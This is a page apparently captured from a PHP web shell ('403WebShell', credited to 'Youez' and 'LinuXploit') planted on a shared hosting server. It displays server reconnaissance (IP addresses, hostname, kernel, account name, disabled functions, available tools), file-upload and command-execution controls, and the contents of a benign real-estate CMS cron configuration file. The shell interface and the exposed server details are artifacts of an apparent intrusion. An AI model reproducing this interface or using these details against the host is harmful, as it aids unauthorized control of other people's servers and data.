Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 13.58.203.104
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/softaculous/realestate/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/softaculous/realestate/cron.php
<?php
require_once(dirname(__FILE__) . '/../helpers/common.php');

$physicalPath = realpath(dirname(__FILE__) . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . '..');
Yii::setPathOfAlias('webroot', $physicalPath);
Yii::setPathOfAlias('webroot.uploads', $physicalPath . DIRECTORY_SEPARATOR . 'uploads');
Yii::setPathOfAlias('webroot.uploads.objects', $physicalPath . DIRECTORY_SEPARATOR . 'uploads' . DIRECTORY_SEPARATOR . 'objects');

$baseHost = '[[softurl]]';
$_SERVER['SERVER_NAME'] = $_SERVER['HTTP_HOST'] = $baseHost;

$config = array(
    'basePath' => dirname(__FILE__) . DIRECTORY_SEPARATOR . '..',
    'name' => 'OpenRealEstateCMSCron'.md5($baseHost),
    'preload' => array('log'),
    'components' => array(
        'request' => array(
            'hostInfo' => $baseHost,
            'baseUrl' => '',
            'scriptUrl' => '',
        ),
    ),
);

if (file_exists(dirname(__FILE__) . '/main.php')) {
    $mainConfig = require(dirname(__FILE__) . '/main.php');
} else {
    $mainConfig = require(dirname(__FILE__) . '/main-free.php');
}

$mergeArr = CMap::mergeArray($config, $mainConfig);

if (isset($mergeArr['theme'])) {
    unset($mergeArr['theme']);
}

if (isset($mergeArr['onBeginRequest'])) {
    unset($mergeArr['onBeginRequest']);
}

if (isset($mergeArr['components']['user'])) {
    $mergeArr['components']['user']['class'] = 'ConsoleUser';
    $mergeArr['components']['user']['primaryKey'] = 1;
    
    unset($mergeArr['components']['user']['allowAutoLogin']);
    unset($mergeArr['components']['user']['loginUrl']);
}

# вырубаем всё не нужное - чтобы работала генерация ссылок в Notifier через createUrl/createAssoluteUrl
if (isset($mergeArr['components']['request']['enableCsrfValidation'])) {
    unset($mergeArr['components']['request']['enableCsrfValidation']);
}

if (isset($mergeArr['components']['request']['noCsrfValidationRoutes'])) {
    unset($mergeArr['components']['request']['noCsrfValidationRoutes']);
}

if (isset($mergeArr['components']['request']['enableCookieValidation'])) {
    unset($mergeArr['components']['request']['enableCookieValidation']);
}

if (isset($mergeArr['components']['request']['csrfTokenName'])) {
    unset($mergeArr['components']['request']['csrfTokenName']);
}

if (isset($mergeArr['components']['request']['class'])) {
    unset($mergeArr['components']['request']['class']);
}

if (isset($mergeArr['controllerMap'])) {
    unset($mergeArr['controllerMap']);
}

return $mergeArr;

Youez - 2016 - github.com/yon3zu
LinuXploit